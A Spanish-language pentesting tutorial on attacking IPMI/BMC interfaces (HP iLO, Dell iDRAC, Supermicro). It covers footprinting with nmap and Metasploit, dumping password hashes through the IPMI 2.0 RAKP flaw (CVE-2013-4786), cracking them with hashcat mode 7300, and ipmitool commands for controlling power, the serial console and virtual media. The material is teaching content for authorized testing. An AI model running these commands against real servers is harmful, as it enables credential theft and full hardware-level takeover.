IPMI (Intelligent Platform Management Interface)
Intelligent Platform Management Interface (IPMI) es un conjunto de especificaciones estandarizadas para sistemas de gestión de hardware, usadas para administrar y monitorizar servidores. Actúa como un subsistema autónomo que funciona de forma independiente a la BIOS, la CPU, el firmware y el sistema operativo del host. Esto le da a IPMI una característica particular: permite a los administradores gestionar y supervisar un servidor incluso si está apagado o no responde, porque no depende de que el sistema operativo esté arrancado.
Funciona mediante una conexión de red directa a un controlador dedicado en la placa base (el BMC, Baseboard Management Controller) y no requiere acceso al sistema operativo a través de una sesión de login. También permite actualizaciones remotas del firmware sin necesidad de acceso físico al servidor. Implementaciones comerciales conocidas de este controlador incluyen HP iLO, Dell iDRAC y Supermicro IPMI — todas exponen esencialmente la misma interfaz IPMI por debajo.
IPMI suele usarse de tres formas: localmente en la línea de comandos del propio servidor, remotamente por LAN (el caso relevante para pentesting, sobre el puerto UDP 623), o vía interfaz web/serial dedicada.
Por qué IPMI es un objetivo interesante
Al ser un sistema separado del sistema operativo, comprometer el BMC da un nivel de control que ni siquiera un administrador del sistema operativo tiene normalmente: se puede montar medios virtuales, ver la pantalla remota (KVM-over-IP), encender/apagar el servidor, y en algunos casos acceder a una consola serie con privilegios que podrían derivar en acceso al propio sistema operativo. Además, el protocolo IPMI 2.0 tiene una vulnerabilidad de diseño bien conocida que facilita mucho la obtención de credenciales (ver más abajo), lo que lo convierte en un objetivo de alto valor cuando aparece expuesto en un escaneo.
Footprinting del servicio
Al ser un servicio UDP, conviene identificar primero la versión soportada:
❯ sudo nmap -sU --script ipmi-version -p 623 ilo.domain.local
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-04 21:48 GMT
Nmap scan report for ilo.domain.local (172.16.65.10)
Host is up (0.00064s latency).
PORT STATE SERVICE
623/udp open asf-rmcp
| ipmi-version:
| Version:
| IPMI-2.0
| UserAuth:
| PassAuth: auth_user, non_null_user
|_ Level: 2.0
MAC Address: 14:03:DC:67:18:6A (Hewlett Packard Enterprise)
Nmap done: 1 IP address (1 host up) scanned in 0.46 secondsasf-rmcp: nombre del servicio que identifica Nmap (Alert Standard Format / Remote Management Control Protocol, el protocolo de transporte sobre el que corre IPMI).- Confirmar IPMI-2.0 es clave, porque es justamente la versión 2.0 la que tiene la vulnerabilidad de diseño que permite extraer hashes sin necesidad de conocer una contraseña previa (ver sección de explotación).
- La dirección MAC suele delatar al fabricante del hardware (aquí, Hewlett Packard Enterprise, consistente con un servidor iLO).
Con Metasploit
msf6 > use auxiliary/scanner/ipmi/ipmi_version
msf6 auxiliary(scanner/ipmi/ipmi_version) > set rhosts 172.16.65.10
msf6 auxiliary(scanner/ipmi/ipmi_version) > show options
Module options (auxiliary/scanner/ipmi/ipmi_version):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
RHOSTS 172.16.65.10 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 623 yes The target port (UDP)
THREADS 10 yes The number of concurrent threads
msf6 auxiliary(scanner/ipmi/ipmi_version) > run
[*] Sending IPMI requests to 172.16.65.10->172.16.65.10 (1 hosts)
[+] 172.16.65.10:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed- Es el equivalente en Metasploit al script de Nmap, útil cuando ya se está trabajando dentro de una sesión de Metasploit y se quiere mantener todo el flujo en la misma herramienta.
- El campo
PassAuthmuestra qué mecanismos de autenticación de contraseña acepta el BMC:password,md5,md2e inclusonull(sin contraseña) — cuantos más métodos débiles acepte, mayor la superficie de ataque.
Explotación: la vulnerabilidad del protocolo RAKP en IPMI 2.0
IPMI 2.0 introdujo el protocolo de autenticación RAKP (RMCP+ Authenticated Key-Exchange Protocol). El problema de diseño (documentado formalmente como CVE-2013-4786) es el siguiente: durante el intercambio de autenticación, el BMC envía al cliente un hash HMAC de la contraseña del usuario como parte del protocolo — antes de que el cliente haya demostrado conocer esa contraseña. Es decir, basta con solicitar la autenticación para un nombre de usuario válido (como ADMIN, uno de los más comunes por defecto) para que el propio servidor entregue el hash de su contraseña, sin necesidad de saberla de antemano.
Esto convierte a IPMI en un objetivo ideal para ataques de fuerza bruta/diccionario offline: en vez de intentar autenticarse en vivo contra el servicio (lento, y sujeto a posibles bloqueos), se captura el hash en un solo intercambio y se crackea localmente sin límite de intentos ni riesgo de bloqueo de cuenta.
Volcado de hashes con Metasploit
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 172.16.65.10
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > show options
Module options (auxiliary/scanner/ipmi/ipmi_dumphashes):
Name Current Setting Required Description
---- --------------- -------- -----------
CRACK_COMMON true yes Automatically crack common passwords as they are obtained
OUTPUT_HASHCAT_FILE no Save captured password hashes in hashcat format
OUTPUT_JOHN_FILE no Save captured password hashes in john the ripper format
PASS_FILE /usr/share/metasploit-framework/data/wordlists/ipmi_passwords.txt yes File containing common passwords for offline cracking, one per line
RHOSTS 172.16.65.10 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 623 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
USER_FILE /usr/share/metasploit-framework/data/wordlists/ipmi_users.txt yes File containing usernames, one per line
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 172.16.65.10:623 - IPMI - Hash found: ADMIN:8e160d4802040000205ee9253b6b8dac3052c837e23faa631260719fce740d45c3139a7dd4317b9ea123456789abcdefa123456789abcdef140541444d494e:a3e82878a09daa8ae3e6c22f9080f8337fe0ed7e
[+] 172.16.65.10:623 - IPMI - Hash for user 'ADMIN' matches password 'ADMIN'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedUSER_FILE: lista de nombres de usuario a probar (el módulo intenta el intercambio RAKP para cada uno; recordemos que solo se necesita un nombre de usuario válido, no la contraseña).PASS_FILE: diccionario de contraseñas comunes específicas de IPMI, usado para el crackeo automático inmediato (CRACK_COMMON) contra los hashes recién capturados.- En este ejemplo, el propio módulo logró crackear el hash en el acto porque la contraseña coincidía con el nombre de usuario (
ADMIN:ADMIN) — una de las combinaciones por defecto más comunes en dispositivos IPMI que nunca fueron reconfigurados tras la instalación. OUTPUT_HASHCAT_FILE/OUTPUT_JOHN_FILE: si el crackeo automático con el diccionario común no tiene éxito, se pueden exportar los hashes a estos formatos y continuar el ataque conhashcat(modo7300para IPMI 2.0 RAKP HMAC-SHA1) ojohn, usando diccionarios más grandes.
Crackeo manual con hashcat (si el diccionario automático no encuentra la contraseña)
❯ hashcat -m 7300 -a 0 ipmi_hashes.txt /usr/share/wordlists/rockyou.txt-m 7300: modo específico de hashcat para hashes IPMI 2.0 RAKP HMAC-SHA1, extraídos previamente con el módulo de Metasploit o herramientas equivalentes.
Impacto de un compromiso exitoso
Con credenciales válidas del BMC (obtenidas por crackeo o por defecto), se puede acceder a la interfaz web o CLI de gestión (ipmitool) del dispositivo, lo que típicamente permite:
- Ver y controlar la consola remota del servidor (KVM-over-IP), incluso durante el arranque, sin necesidad de acceso físico.
- Apagar, reiniciar o encender el servidor a voluntad.
- Montar imágenes ISO virtuales como si fueran medios físicos — un vector directo para arrancar el servidor con un sistema propio y comprometer el sistema operativo instalado.
- En algunos fabricantes, acceder a una consola serie del sistema operativo con la sesión ya iniciada, saltándose por completo la autenticación normal del SO.
❯ ipmitool -I lanplus -H 172.16.65.10 -U ADMIN -P ADMIN chassis power status-I lanplus: especifica el protocolo IPMI v2.0 sobre LAN (RMCP+).- Con esta misma sintaxis se pueden enviar otros comandos de
ipmitool(chassis power on/off/reset,sol activatepara consola serie sobre LAN,user listpara enumerar cuentas adicionales del BMC, etc.), una vez confirmado el acceso.